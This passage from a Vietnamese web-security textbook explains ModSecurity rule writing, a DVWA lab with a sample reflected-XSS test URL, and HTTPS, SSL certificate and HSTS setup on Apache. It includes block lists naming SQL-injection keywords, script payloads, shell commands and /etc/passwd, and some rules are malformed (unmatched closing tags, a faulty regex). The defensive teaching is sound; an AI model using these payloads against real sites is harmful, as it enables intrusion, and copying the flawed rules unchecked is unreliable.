- Ngoài ra có thể đặt các cấu hình này vào một file riêng, chẳng hạn
modsecurity.conf trong thư mục conf.d và sau đó chúng ta cần thêm vào
httpd.conf
o Include conf.d/modsecurity.conf
o (mặc định trong httpd.conf đã có dòng include conf.d/*.conf . Với dòng
này nó sẽ thực hiện tất cả các file có phần mở rộng là .conf)
a. Bất Rule on và off
- Theo mặc định thì rule engine bị disable. Để kích hoạt ModSecurity ta cần thêm
chỉ thị sau vào file cấu hình
SecRuleEngine On
- Directive này dùng để điều khiển rule engine, chúng ta có thể sử dụng các tùy
chọn là On, Off hoặc DynamicOnly.
o On : các rules của ModSecurity được áp dụng cho tất cả nội dung.
o Off : vô hiệu hóa ModSecurity.
- DynamicOnly : khi nó phù hợp với một luật nào đó thì nó cũng không thực hiện
bất kỳ hành động nào(rất có ích trong trường hợp muốn test một luật nào đó mà
không muốn nó block bất kì request nào có vấn đề với luật).
b. SecDefaultAction

90
- Dùng để tạo các action mặc định. Khi tạo một luật mà không chỉ rõ hành động
cho luật đó, nó sẽ thực hiện hành động mặc định.
o Ví dụ : SecDefaultAction “phase:2.deny,log,status:403”
Xây dựng chính sách chống lại một số tấn công phổ biến

- SQL Injection
o Các từ khóa chính thường sử dụng trong tấn công SQL Injection và các
regular expressions tương ứng :
 UNION SELECT union\s+select
 UNION ALL SELECT union\s+all\s+select
 INTO OUTFILE into\s+outfile
 DROP TABLE drop\s+table
 ALTER TABLE alter\s+table
 LOAD_FILE load_file
 SELECT * select\s+*
o \s : được định nghĩa trong PCRE là một regular expression cho phép phát
hiện mọi khoảng trắng và cả các mã thay thế (%20)
o Để chống lại tấn công SQL Injection, ta dựa vào các đặc điểm trên từ đó
đưa ra rule sau:
SecRule ARGS "union\s+select" "t:lowercase,deny,msg:'SQL
Injection'"
SecRule ARGS "union\s+all\s+select" "t:lowercase,deny,msg:'SQL
Injection'"
SecRule ARGS "into\s+outfile" "t:lowercase,deny,msg:'SQL Injection'"
SecRule ARGS "drop\s+table" "t:lowercase,deny,msg:'SQL Injection'"
SecRule ARGS "alter\s+table" "t:lowercase,deny,msg:'SQL Injection'"
SecRule ARGS "load_file" "t:lowercase,deny,msg:'SQL Injection'"
SecRule ARGS "select\s+*" "t:lowercase,deny,msg:'SQL Injection'"

- XSS Attack
SecRule ARGS "alert\s+*\(" "t:lowercase,deny,msg:'XSS'"
SecRule ARGS "&\{.+\}" "t:lowercase,deny,msg:'XSS'"
SecRule ARGS "<.+>" "t:lowercase,deny,msg:'XSS'"
SecRule ARGS "javascript:" "t:lowercase,deny,msg:'XSS'"
SecRule ARGS "vbscript:" "t:lowercase,deny,msg:'XSS'"

- Brute Force

91
#
# Block further login attempts after 3 failed attempts
#
<LocationMatch ^/login>
# Initalize IP collection with user's IP address
SecAction "initcol:ip=%{REMOTE_ADDR},pass,nolog"
# Detect failed login attempts
SecRule RESPONSE_BODY "Username does not exist"
"phase:4,pass,setvar:ip.failed_logins=+1,expirevar:ip.failed_logins=60"
# Block subsequent login attempts
SecRule IP:FAILED_LOGINS "@gt 3" deny
</Location>

#
# Throttle login attempts after 3 failed attempts
#
<LocationMatch ^/login>
SecAction "initcol:ip=%{REMOTE_ADDR},pass,nolog"
SecRule RESPONSE_BODY "Username does not exist"
phase:4,pass,setvar:ip.failed_logins=+1,expirevar:ip.failed_logins=10"
SecRule IP:FAILED_LOGINS "@gt 3" "phase:4,allow,pause:3000"
</Location>

- Directory Indexing
#
# Prevent directory listings from accidentally being returned
#
SecRule REQUEST_URI "/$" "phase:4,deny,chain,log,msg:'Directory index
returned'"
SecRule RESPONSE_BODY "<h1>Index of /"

- Detecting the real IP address of an attacker:


SecRule ARGS "/etc/passwd" "pass,redirect:/log_ip.php"

92
- Một số tấn công khác
o Xflash ddos
SecRule REQUEST_HEADERS_NAMES "x-flash-version" deny
o Command Excution and file disclosure
SecRule ARGS_VALUES "^(uname|id|ls|cat|rm|kill|mail)"
SecRule ARGS “(/home|/var|/boot|/etc|/bin|/usr|/tmp)”
o HTML Tags
SecRule ARGS "<applet"
SecRule ARGS "<div"
SecRule ARGS "<embed"
SecRule ARGS "<iframe"
SecRule ARGS "<img"
SecRule ARGS "<meta"
SecRule ARGS "<object"
SecRule ARGS "<script"
SecRule ARGS "<textarea"
o Bad User-Agent

SecRuleHTTP_USER_AGENT
"<(.|\s|\n)?(script|about|applet|activex|chrome|object)(.|\s|\n)?>.*<(.|\s|\n)?
(script|about|applet|activex|chrome|object)"
#PHP code injection attack
SecRule HTTP_USER_AGENT "(<\?php|<[[:space:]]*\?[[:space:]]*php)"
SecRule HTTP_USER_AGENT ".*HTTP_GET_VARS"
SecRule HTTP_USER_AGENT "Mosiac 1\.*"
SecRule HTTP_USER_AGENT "Brutus/AET"
SecRule HTTP_USER_AGENT ".*WebRoot "
#Web leaches
SecRule HTTP_USER_AGENT "Web Downloader"
SecRule HTTP_USER_AGENT WebZIP
SecRule HTTP_USER_AGENT WebCopier
SecRule HTTP_USER_AGENT Webster
SecRule HTTP_USER_AGENT WebZIP
SecRule HTTP_USER_AGENT WebStripper
SecRule HTTP_USER_AGENT "teleport pro"
SecRule HTTP_USER_AGENT combine
SecRule HTTP_USER_AGENT "Black Hole"
SecRule HTTP_USER_AGENT "SiteSnagger"
SecRule HTTP_USER_AGENT "ProWebWalker"
SecRule HTTP_USER_AGENT "CheeseBot"
SecRule HTTP_USER_AGENT ".*Nessus"

93
SecRule HTTP_USER_AGENT ".*Nikto"

Sử dụng DVWA để DEMO các cuộc tấn công và cách phòng chống bằng ModSecurity
1. DVWA: là một framework đã xây dựng sẵn những lỗ hổng bảo mật theo top 10 điểm
yếu bảo mật Web của OWASP. Trình độ từ mức low đến high có thể đáp ứng nhu
cầu kiểm thử của rất nhiều người
2. Cài đặt DVWA
- Download link: https://github.com/ethicalhack3r/DVWA/archive/master.zip
- Có thể triển khai trên CentOS hoặc dùng XAMPP trên Windows.
- Tải về, giải nén và copy vào đường dẫn /var/www/html
- Quá trình chỉnh sửa:
o Vào MySQL tạo database tên dvwa
o Cd /var/www/html/
o chown -R apache:apache DVWA/
o chmod 755 -R DVWA/
o cp DVWA/config/config.inc.php.dist DVWA/config/config.inc.php
o vi DVWA/config/config.inc.php
 $_DVWA[ 'db_server' ] = '127.0.0.1';
 $_DVWA[ 'db_database' ] = 'dvwa';
 $_DVWA[ 'db_user' ] = 'root';
 $_DVWA[ 'db_password' ] = 'root’s password';
 $_DVWA[ 'recaptcha_public_key' ] =
'6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yJg';
 $_DVWA[ 'recaptcha_private_key' ] =
'6LdK7xITAzzAAL_uw9YXVUOPoIHPZLfw2K1n5NVQ';
o Save file.
o Vi /etc/php.ini
 allow_url_include = Off => allow_url_include = On
o service httpd restart
- Setup DVWA: 1.2.3.3/DVWA/setup.php

94
- Click chọn Create/ Reset database
- Sau khi cài đặt xong DVWA sẽ có giao diện sau đây:

- Tài khoản mặc định của DVWA:


o username: admin
o password: password
- Sau khi đăng nhập DVWA có giao diện chính như sau:

3. Viết Rule ngăn chặn XSS


- Test lỗi XSS reflected ở mức low security khi chưa bật mod Security bằng câu
lệnh javascript: <script>alert(“XSS testing – TuongLua”)</script> khi nhập vào
URL
http://cysecure.com/dvwa/vulnerabilities/xss_r/?name=<script>alert("XSS Test");</script>

95
- Bật mod security với 1 RULE đơn giản để chống lại XSS
<IfModule security2_module>
# Bat che do loc cua Modsecurity
SecRuleEngine On
# Thiet lap action mac dinh
SecDefaultAction "phase:2,deny,log,status:403"

SecRule REQUEST_URI
"Jscript|alert|onsubmit|onmouseover|onmove|onerror|document|javascript|scri
pt" "deny,phase:1,setvar:tx.xssscore=+1,id:10000"
</IfModule>

- Kết quả:

96
Phần 4: Tăng cường bảo mật website với https và hsts
1. HTTPv1 và HTTPv2
2. Đăng ký vài cài đặt SSL certificate: Comodo, GeoTrust, DigiCert, Verisign
3. Cài đặt SSL trên webserver, kích hoạt https
4. Scan HTTP version
5. Buộc website chạy HTTPs
6. Cơ chế hoạt động HSTS, thiết lập HSTS trên webserver

97
1. Giao thức HTTP
HTTP là một giao thức giao tiếp trên cơ sở TCP/IP, mà được sử dụng để phân phối
dữ liệu (các tệp HTML, các file ảnh, …) trên WWW. Cổng mặc định là TCP 80, những các
cổng khác cũng có thể được sử dụng. Nó cung cấp một cách được tiêu chuẩn hóa cho các
máy tính để giao tiếp với nhau. Chi tiết kỹ thuật HTTP xác định cách mà dữ liệu yêu cầu của
Client sẽ được xây dựng và được gửi tới Server, và cách để Server phản hồi các yêu cầu
này

Đặc trưng cơ bản:


- HTTP là giao thức connectionless : giả sử một trình duyệt khởi tạo một yêu cầu
HTTP và sau đó một yêu cầu được tạo ra, Client ngắt kết nối từ Server và đợi
cho một phản hồi. Server xử lý yêu cầu và thiết lập lại sự kết nối với Client để gửi
phản hồi trở lại.
- HTTP là một phương tiện độc lập: có nghĩa là, bất kỳ loại dữ liệu nào cũng có thể
được gửi bởi HTTP miễn là Server và Client biết cách để kiểm soát nội dung dữ
liệu. Nó được yêu cầu cho Client cũng như Server để xác định kiểu nội dung bởi
sử dụng kiểu MIME thích hợp.
- HTTP là stateless: Như đã được đề cập ở trên, HTTP là connectionless và kết
quả là HTTP trở thành một giao thức Stateless. Server và Client biết về nhau chỉ
trong một yêu cầu hiện tại. Sau đó, cả server và client đều quên tất cả về nhau.
Do bản chất của giao thức, cả Client và các trình duyệt có thể giữ lại thông tin
giữa các yêu cầu khác nhau giữa các trang web.
Hiện tại HTTP có 2 phiên bản: v1 và v2

Đặc trưng của HTTPv1:


a. Mỗi connection là 1 tài nguyên

- Trong dạng xử lý này, mỗi connection sẽ request một tài nguyên độc lập. Kết nối
sẽ được mở mới khi cần request một tài nguyên và close khi nhận response
hoàn tất. Đây là dạng làm việc đơn giản và cũng là thông dụng nhất, tuy nhiên rất
không tối ưu vì thời gian thiết lập kết nối mới tốn rất nhiều thời gian do phải thực
hiện bắt tay 3 bước, chưa kể nếu có các lớp xử lý bảo mật như TLS sẽ càng làm
tăng độ trễ của việc thiết lập kết nối này.

98
b. Keep-alive connection

- Với keep-alive connection, có thể thực hiện nhiều lượt request tài nguyên
khác nhau với cùng một connection.
- Tuy nhiên, chúng ta dễ dàng nhận thấy một khoảng thời gian chờ sau khi
thực hiện một request, trong lúc đợi response về hoàn tất, sẽ không có
một request nào khác được phép thực hiện. Điều này gây lãng phí tài
nguyên, do băng thông vẫn còn đó trong khi request tài nguyên khác sẽ
không thể request ở cùng connection, và nếu tạo connection mới thì lại trở
lại vấn đề với mỗi request một connection.

c. HTTP/1 pipelining

- Giải pháp cho phép nhiều lượt request được gọi mà không cần response phải
hoàn thành, sau đó sẽ nhận các response. Một giải pháp khá mượt, nhưng nhìn
sâu hơn vấn đề một chút, đầu tiên ta quan sát lại HTTP request và response.

- Một cú pháp request điển hình như sau:

GET /index.html HTTP/1.1


Host: www.example.com

- Cú pháp response dạng:

HTTP/1.1 200 OK
Date: Mon, 23 May 2005 22:38:34 GMT
Server: Apache/1.3.3.7 (Unix) (Red-Hat/Linux)

99
Last-Modified: Wed, 08 Jan 2003 23:11:55 GMT
ETag: "3f80f-1b6-3e1cb03b"
Content-Type: text/html; charset=UTF-8Content-Length: 138
Accept-Ranges: bytes
Connection: close
<html>
<head>
<title>An Example Page</title>
</head>
<body>
Hello World, this is a very simple HTML document.
</body>
</html>

- Nếu dữ liệu response về không có thứ tự mà đi lộn xộn, thì do cùng sử


dụng 1 connection chung, đầu nhận response sẽ không thể phân biệt
được phần dữ liệu là thuộc request nào.
- Điều này khiến HTTP pipelining phải tuân thủ một điều là phía client chỉ
sau khi nhận trọn vẹn một response của request này mới được nhận tiếp
response từ request khác, việc này gây ra nguy cơ về hiệu năng khi có
một response bị mất hay bị xử lý chậm.

Đặc trưng của HTTPv2


a. Tổng quát

Hình: Kiến trúc HTTP/2

HTTP/2 xây dựng trên tư tưởng mỗi TCP connection sẽ có nhiều stream, mỗi packet
truyền tải trong stream sẽ là một frame, các frame này sẽ có đầy đủ các thông tin
định danh stream.

100
Hình: HTTP/2 nhiều stream dùng chung một connection

Khi sử dụng, mỗi request tài nguyên sẽ sử dụng một stream độc lập, mỗi frame đều
có thông tin định danh cho stream riêng, nên việc thứ tự truyền/nhận của
request/response không còn là vấn đề, dữ liệu của frame nào sẽ được đưa vào
stream của nó, tương ứng với đó là request/response tương ứng. Như vậy vấn đề
head-of-line blocking được giải quyết.

Hình: Vấn đề Head-of-line blocking được giải quyết trong HTTP/2

b. Vấn đề
i. Head-of-line blocking gây ra bởi TCP

o HTTP/2 là một kiến trúc đẹp, nhưng tư tưởng xây dựng nó nhiều
stream dùng chung một TCP connection, tức là sử dụng chung một
đường truyền tải. Khi gói tin từ stream được đóng gói để đưa
xuống tầng TCP, gói tin sẽ lại được đóng gói (trong nhiều trường
hợp có thể bị chia nhỏ hơn để đóng gói) bởi giao thức TCP, bằng
cách đánh thêm chỉ số tuần tự và các thông tin khác ... để đưa
xuống tầng IP và truyền đi. Tầng IP sẽ không đảm bảo gói tin sẽ
không mất mát và đúng thứ tự, vì vậy tầng TCP sẽ làm việc đó, nếu
có gói tin nào bị mất mát do truyền tải ở tầng IP thì tầng TCP sẽ gửi
lại gói tin tương ứng.

o Trong trường hợp những gói tin này thuộc các stream khác nhau,
thì khi mất mát gói tin của một stream thì các stream còn lại sẽ bị
ảnh hưởng. Vấn đề head-of-line blocking lại xuất hiện, nhưng lần
này là do cơ chế của TCP gây nên.

101
Hình: Head-of-line blocking do cơ chế bảo vệ flow của TCP

ii. Stream dùng chung thuật toán chống nghẽn


- Thuật toán chống nghẽn được thiết kế nhằm giúp TCP sử dụng băng thông tối
đa mà nó có thể, tùy vào lượng mất mát gói tin mà thuật toán sẽ tự điều chỉnh
lượng băng thông truyền đi.
- Trong HTTP/2, nhiều stream sẽ dùng chung trên một connection, nên sẽ phải sử
dụng chung một trạng thái chống nghẽn. Việc này sẽ gây ra vấn đề nếu một gói
tin thuộc connection tương ứng bị mất gói tin, thì thuật toán chống nghẽn sẽ điều
chỉnh làm chậm băng thông của connection lại, kéo theo việc các stream còn lại
của connection này cũng sẽ bị chậm theo.

c. QUIC – Quick UDP Internet Connections


i. Tổng quát

- Để khắc phục vấn đề head-of-line blocking gây ra bởi TCP, cách duy nhất
là thiết kế HTTP/2 trên nền một giao thức khác. QUIC lựa chọn xây dựng
lại trên nền UDP, một giao thức thông dụng và có thể dễ dàng tương tác ở
userland.
- Tư tưởng thiết kế giao thức QUIC là sự kết hợp giữa TCP và tinh thần của
HTTP/2
o Đảm bảo không mất mát, đúng thứ tự gói tin: Tương tự TCP
o Cải thiện thuật toán chống nghẽn: Sử dụng thuật toán CUBIC
o Tự sửa lỗi gói tin
o Hỗ trợ lớp bảo mật TLS

Hình: QUIC = TLS + TCP + SPDY

102
- Mặc dù trong UDP, khái niệm connection không tồn tại, nhưng dựa trên
tinh thần của TCP, QUIC xây dựng lại connection cho mình, tuy nhiên
nhiên tầng truyền tải dữ liệu sẽ độc lập giữa các stream. Điều này giúp
loại bỏ head-of-line blocking gây ra khi các stream truyền tải dùng chung
connection.
- Một điều thú vị là connection của QUIC sẽ tốt hơn TCP trong một số
trường hợp, ví dụ khi kết nối mạng của bạn đang sử dụng đột ngột bị ngắt
và connect lại, lúc này connection của TCP sẽ bị mất và buộc phải khởi
tạo kết nối mới, do xây dựng trên nền tảng UDP - một giao thức phi kết
nối (connectionless) nên về lý thuyết thì connection sẽ vẫn tiếp tục truyền
nhận dữ liệu bình thường dù sẽ chậm đi một chút.
- QUIC cũng sử dụng thuật toán chống nghẽn cho từng stream riêng biệt,
loại bỏ vấn đề thuật toán chống nghẽn gây ra cho HTTP/2.

Hình: Giao thức QUIC

So sánh tốc độ giữa HTTPv1 và HTTPv2


- Với HTTP/1.1, một kết nối TCP sẽ tiến hành load tuần tự từng bức ảnh nhỏ, sau
khi hoàn thành 1 ảnh sẽ tiếp tục load ảnh tiếp theo. Đây là vấn đề head-of-line
blocking đề cập trong bài viết.
- Với HTTP/2, một kết nối TCP chia thành nhiều stream, mỗi stream truyền một
bức ảnh nhỏ, các gói tin của các stream có thể đi xen lẫn nhau không nhất thiết
phải đợi nhau hoàn thành, vì vậy gần như được stream đồng thời cùng lúc nhiều
ảnh.

103
2. Đăng ký vài cài đặt SSL certificate: Comodo, GeoTrust, DigiCert,
Verisign
2.1 Khái niệm:
a. SSL là gì:
SSL là viết tắt của từ Secure Sockets Layer. Đây là một tiêu chuẩn an ninh công
nghệ toàn cầu tạo ra một liên kết giữa máy chủ web và trình duyệt. Liên kết này đảm bảo tất
cả dữ liệu trao đổi giữa máy chủ web và trình duyệt luôn được bảo mật và an toàn.SSL đảm
bảo rằng tất cả các dữ liệu được truyền giữa các máy chủ web và các trình duyệt được
mang tính riêng tư, tách rời. SSL là một chuẩn công nghệ được sử dụng bởi hàng triệu
trang web trong việc bảo vệ các giao dịch trực tuyến với khách hàng của họ.
b. SSL làm việc như thế nào:

c. Quá trình máy tính kết nối với một website đã được chứng thực

d. Cách kiểm tra SSL của trình duyệt


Khi Website gửi cho trình duyệt một chứng chỉ SSL, trình duyệt sẽ gửi chứng chỉ này
đến một máy chủ lưu trữ các chứng chỉ số đã được phê duyệt.Về mặt kỹ thuật, SSL sử
dụng mã hóa công khai. Kỹ thuật này giúp cho Website và trình duyệt tự thỏa thuận (bước 4
ở hình trên) một bộ khóa sẽ dùng trong suốt quá trình trao đổi thông tin sau đó. Bộ khóa sẽ
thay đổi theo mỗi trong lần giao dịch kế tiếp, một người khác sẽ không thể giải mã ngay cả
khi có được dữ liệu của máy chủ lưu trữ chứng chỉ số nói trên.

104
2.2 Đăng ký chứng chỉ SSL
a. CSR (certificate signing request) : Certificate Signing Request là 1 đoạn
text (chứa thông tin của chủ sở hữu tên miền) được mã hóa từ server (máy chủ)
chuẩn bị cài đặt SSL.
Nó chứa thông tin sẽ được bao gồm trong giấy chứng nhận của bạn như tên
tổ chức của bạn, tên thông thường (tên miền), địa phương và quốc gia. 1 CSR sẽ
được tạo ra ngay trước khi gửi yêu cầu cho bên cung cấp SSL để sinh ra SSL.
1 CSR yêu cầu các thông tin:
o Mã quốc gia
o Thành phố
o Tên công ty
o Tên miền cần được mã hóa SSL
o Email quản lý
o loại chứng chỉ SSL
b. Tạo CSR để đăng ký SSL:
1.Cài đặt openssl trên CentOS: yum install openssl
2.Tạo key cho domain (giả sử domain ở đây là cysecure.com)
[root@server certs]# openssl genrsa -out cysecure.com.key 2048
Generating RSA private key, 2048 bit long modulus
............................................................................+++
........................................+++
e is 65537 (0x10001)
3.Tạo CSR cho domain sử dụng Key vừa tạo
[root@server certs]# openssl req -new -key cysecure.com.key -out
cysecure.com.csr
You are about to be asked to enter information that will be
incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or
a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [XX]:VN => tên nước
State or Province Name (full name) []:HoChiMinh => tên tỉnh/thành
phố
Locality Name (eg, city) [Default City]:HoChiMinh => tên thành phố
Organization Name (eg, company) [Default Company Ltd]:tuonglua
=> tên công ty
Organizational Unit Name (eg, section) []:IT => tên đơn vị

105
Common Name (eg, your name or your server's hostname)
[]:cysecure.com => tên server hoặc domain
Email Address []:anhtrang93610@gmail.com => mail

Please enter the following 'extra' attributes


to be sent with your certificate request
A challenge password []: => Enter
An optional company name []: => Enter
Hoàn tất quá trình tạo CSR, sẽ có 2 file cysecure.com.csr và
cysecure.com.key, công việc tiếp theo sẽ là đăng ký SSL sử dụng CSR vừa tạo.
Hiện tại có rất nhiều nhà cung cấp cho phép đăng ký SSL Certificate để mã
hóa http, bao gồm: Comodo, GeoTrust, DigiCert, VeriSign, …

b. Comondo EssentialSSL:
Comodo cung cấp Phần mềm bảo mật Internet, bảo mật email và tin nhắn,
Lưu trữ máy chủ DNS, giấy chứng nhận SSL, Quản lý PKI, trình duyệt và nhiều hơn
thế.
Truy cập vào trang https://ssl.comodo.com/free-ssl-certificate.php để đăng ký
SSL free 90 ngày, nhấn Free SSL

Tiến hành điền các thông tin cần thiết


1.Copy nội dung trong file cysecure.com.csr vào ô 1
2.Server software chọn Apache-ModSSL
3.SSL comodo sử dụng miễn phí 90 ngày
4.Comodo Newsletter (nhận thông báo từ Comodo): có thể nhận hoặc không
5.Comodo HackerGuardian Free Scan : có thể chọn hoặc không.

106
Xác thực Domain để cài đặt SSL, nếu domain đã được đăng ký từ thirdparty
thì sẽ có mail gửi về xác thực là domain đã được đăng ký, nếu chưa đăng ký domain
thì chúng ta có thể chọn None of above phía dưới cùng.

Tiến hành điền vào các thông tin cần thiết, những trường màu đỏ là những
trường bắt buộc phải có, không được để trống

107
Tích vào I ACCEPT và Continue to Payment

Thông tin Order hiển thị ra đầy đủ, những bước Action Required là bước bắt
buộc phải completed

Sau khi xác thực Domain Control Validation thì 1 mail kèm theo các file ssl sẽ
gửi về mail của domain mà chúng ta đã đăng ký, đến đây là xong bước đăng ký SSL
của Comodo.
c. GeoTrust SSL:
Vào link sau để đăng kí SSL: https://www.geotrust.com/ssl/free-ssl-certificate/
,chọn Get Your Free Certificate Now!

Điền vào thông tin cần thiết để đăng ký SSL, sau đó nhấn Continue

108
Chọn Continue để tiếp tục sau khi form thông tin hiện ra

Copy toàn bộ nội dung trong file cysecure.com.csr đã tạo ở phần trước vào ô
như hình, sau đó Continue

109
Xác thực thông tin, Continue

Điền vào các thông tin cần thiết.

Xác thực domain chính


o Default email domain: Base Domain
o List of authorized approvers: chọn mail dùng để xác thực domain đã đăng
ký, mail này sẽ được cung cấp trong quá trình mua domain hoăc host,
hoặc có thể contact admin của page để có thêm thông tin.

110
Kéo xuống và tích vào I agree … -> Submit Order

Đến bước này đã xong quá trình tạo SSL Certificate của Geotrust, có thể
kiểm tra mail của domain hoặc mail admin để xác thực cũng như nhận các file SSL
từ GeoTrust

d.DigiCert (Bản dùng thử)


Truy cập vào link sau để đăng ký dùng thử Thawte SSL certificate =>
continue

111
Điền vào các thông tin tương ứng, các trường có dấu * là các trường bắt
buộc phải có

Form điền CSR


o Copy nội dung từ file cysecure.com.csr vào form như hình
o Server platform: chọn ApacheSSL nếu server sử dụng Apache là
webserver.

Nếu không có chỉnh sửa thông tin gì thì tích vào I Accept… và Continue

112
Đến đây quá trình đăng ký đã hoàn tất, kiểm tra mailbox để nhận các file SSL
Certificate, sau đó download về webserver.

e.VeriSign
Truy cập link :
https://trustcenter.websecurity.symantec.com/process/retail/trial_product_selector?uid=213d
f2928c3305de3e471c06bb7f37bf&locale=VRSN_AU&language=en để đăng ký SSL free
trial 30 ngày.

Điền vào thông tin cần thiết để đăng ký SSL, sau đó nhấn Continue

113
Form điền CSR
o Copy nội dung từ file cysecure.com.csr vào form như hình
o Server platform: chọn ApacheSSL nếu server sử dụng Apache là
webserver.

Nếu không có chỉnh sửa thông tin gì thì tích vào I Accept… và Continue

Đến đây quá trình đăng ký đã hoàn tất của Verisign SSL Free Trial, kiểm tra
mailbox để nhận các file SSL Certificate sau đó download đó về webserver.

114
3.Cài đặt SSL trên webserver và kích hoạt https
Cài đặt mod_ssl:
- yum –y install mod_ssl
Giả sử sau khi đăng ký SSL Certificate, chúng ta sẽ nhận được file SSL bao gồm:
server.csr, server.key, server.crt. Copy 3 file này vào đường dẫn: /etc/pki/tls/certs
Cấu hình file ssl.conf để kích hoạt ssl:
- vi /etc/httpd/conf.d/ssl.conf
# line 59: uncomment
DocumentRoot "/var/www/html"
# line 60: uncomment and specify the server name
ServerName cysecure.com:443
# line 75: change
SSLProtocol -All +TLSv1 +TLSv1.1 +TLSv1.2
# line 100: change to the one got in [1]
SSLCertificateFile /etc/pki/tls/certs/server.crt
# line 107: change to the one got in [1]
SSLCertificateKeyFile /etc/pki/tls/certs/server.key
# line 116: change to the one got in [1]
SSLCertificateChainFile /etc/pki/tls/certs/server.crt
Khởi động lại httpd
- Service httpd restart
Kiểm tra lại trình duyệt.

115
4. Scan HTTP version
a.Khái niệm
Như chúng ta đã biết, HTTP là giao thức được thiết kế theo kiểu client –
server, giao tiếp giữa client và server dựa vào một cặp request – response, client
đưa ra các request và server trả lời các request này.
HTTP Request

Ví dụ một HTTP Request


HTTP Response
Cấu trúc HTTP response gần giống với HTTP request, chỉ khác nhau là thay
vì Request-Line, thì HTTP có response có Status-Line. Và giống như Request-Line,
Status-Line cũng có ba phần như sau:
 HTTP-version: phiên bản HTTP cao nhất mà server hỗ trợ.
 Status-Code: mã kết quả trả về.
 Reason-Phrase: mô tả về Status-Code.

116
Ví dụ một HTTP Response

Chúng ta sẽ tập trung vào version của HTTP, trong ví dụ trên, HTTP hỗ trợ
version 1.1
b.Cách scan HTTP version
Có nhiều cách để scan HTTP version như: Wireshark, Nmap, hoặc các
website như: https://hackertarget.com/http-header-check/
Chủ yếu chúng ta sẽ kiểm tra http header để xác định được version của http
là bao nhiêu
Với Wireshark:
o Truy cập cysecure.com bằng chrome.
o Mở wireshark và dùng chức năng lọc http để tìm các gói tin http.

o Ta kiểm tra thấy HTTP/1.1 chứng tỏ HTTP version 1.1


Truy cập https://hackertarget.com/http-header-check/ và gõ trang web bất kì
o Ví dụ: google.com

117
Google hiện tại sử dụng HTTP version 1.1, ngoài ra chúng ta có thể xem các
thông tin về Content-Type, Date, Expires, Cache-Control, …

5.Chuyển hướng webserver chạy HTTPS thay vì HTTP


Đối với các trang web cần thực hiện đăng nhập, nếu sử dụng http, các gói tin bao
gồm cả username và password sẽ được truyền đi trên mạng dưới dạng cleartext. Các
hacker hoàn toàn có thể thực hiện bắt gói và ăn cắp username password dễ dàng. Vì thế
bắt buộc phải sử dụng giao thức https để mã hóa dữ liệu trong môi trường mạng, tránh việc
mất cắp mật khẩu. Tuy nhiên ngay cả khi đã triển khai https cho website rồi, vẫn có rất nhiều
trường hợp vô ý đăng nhập thông qua http. Để tránh các trường hợp sai sót do người dùng,
cần thiết phải cấu hình bắt buộc sử dụng https đối với các thư mục truy cập, hoặc đối với
toàn bộ website.
Chức năng này được thực hiện thông qua việc chỉnh sửa file/ hoặc tạo mới file
.htaccess trong thư mục chứa website. Nếu muốn bắt buộc sử dụng https cho toàn bộ
website, thêm đoạn code sau vào file .htaccess nằm trên thư mục gốc của website:
RewriteEngine On
RewriteCond %{SERVER_PORT} ^80$
RewriteRule ^.*$ https://%{SERVER_NAME}%{REQUEST_URI} [R=301,L]
Note: file .htaccess cần phải được đặt tại nơi bắt buộc thực hiện giao thức https

Cách thực hiện:


- Kích hoạt .htaccess trên file httpd.conf:
o Vi /etc/httpd/conf/httpd.conf
 Tại <Directory "/var/www/html"> thay đổi AllowOverride None
thành AllowOverride All
 Uncomment dòng ServerName và đổi lại tên domain:
 ServerName cysecure.com:80
- Tạo file .htaccess tại /var/www/html: vi /var/www/html/.htaccess
o Nếu muốn chuyển hướng domain http sang https ta dùng các câu lệnh
như sau

118
RewriteEngine On
RewriteCond %{SERVER_PORT} ^80$
RewriteRule ^.*$ https://%{SERVER_NAME}%{REQUEST_URI}
[R=301,L]
o Save file.
- Restart httpd và kiểm tra trên chrome bằng cách gõ cysecure.com

- Trang web sẽ tự chuyển tới https mà không sử dụng http

6. Cơ chế hoạt động HSTS, thiết lập HSTS trên webserver


a. HSTS là gì
HSTS (HTTP Strict Transport Security) là một chính sách bảo mật cần thiết
để bảo vệ các trang web bảo mật HTTPS chống lại các cuộc tấn công hạ cấp. HSTS
đảm bảo rằng tất cả kết nối tới một website phải được mã hóa bằng giao thức
HTTPS, và không bao giờ sử dụng giao thức HTTP.

ảnh minh hoạt cách thức hoạt động của HSTS

b. Cách thức hoạt động của HSTS


HSTS là một hệ thống dựa trên thời gian. Nghĩa là trong khoảng thời gian
chúng ta thiết lập trong max-age (tính bằng giây) sẽ đảm bảo rằng trang web của

119
chúng ta được phục vụ qua giao thức HTTPS. Khuyên chọn max-age ít nhất 6 tháng
(15552000 giây)
Khi trình duyệt tương tác với webserver đã bật HSTS, nó sẽ tìm một header
đặc biệt nói rằng trình duyệt chỉ nên sử dụng giao thức HTTPS để kết nối với server.
Ngoài ra có một giá trị thời gian max-age liên kết với header trên cho phép
trình duyệt biết chủ quản trị server muốn chắc chắn rằng trang web đó chỉ nên được
truy cập thông qua HTTPS trong một thời gian định sẵn. Giá trị max-age nên là
khoảng thời gian dài, ít nhất 6 tháng, hoặc có thể nhiều năm.
Khi trình duyệt đã truy cập vào trang web một lần và thấy header trên, trình
duyệt sẽ nhớ rằng website này chỉ nên được truy cập thông qua HTTPS trong
khoảng thời gian max-age.
Nếu vì một lý do gì đó chúng ta muốn reset các thiết lập HSTS được lưu
trong Chrome cho domain của chúng ta. Vào chrome://net-internals/#hsts, nhập
domain ở mục Query domain để kiểm tra hoặc xóa domain ở mục Delete domain

c. Cách thiết lập HSTS trên Apache server


o Đi vào thư mục /etc/pki/tls/certs
o Tiến hành tạo lại SSL Certificate trên server
 Tạo private key: openssl genrsa -out cysecure.com.key 2048
 Tạo CSR: openssl req -new -key cysecure.com.key -out
cysecure.com.csr
 Note: quá trình tạo CSR, thông tin có thể tương tự như quá trình
tạo CSR để request SSL Certificate trong phần trước.
 Tạo Self-Signed Key: openssl x509 -req -days 365 -in
cysecure.com.csr -signkey cysecure.com.key -out
cysecure.com.crt
 Ta được các file cysecure.com.key, cysecure.com.csr,
cysecure.com.crt
o Edit file /etc/httpd/conf.d/ssl.conf như sau
 # line 59: uncomment
 DocumentRoot "/var/www/html"

120
 # line 60: uncomment and specify the server name
 ServerName cysecure.com:443
 # line 75: change
 SSLProtocol -All +TLSv1 +TLSv1.1 +TLSv1.2
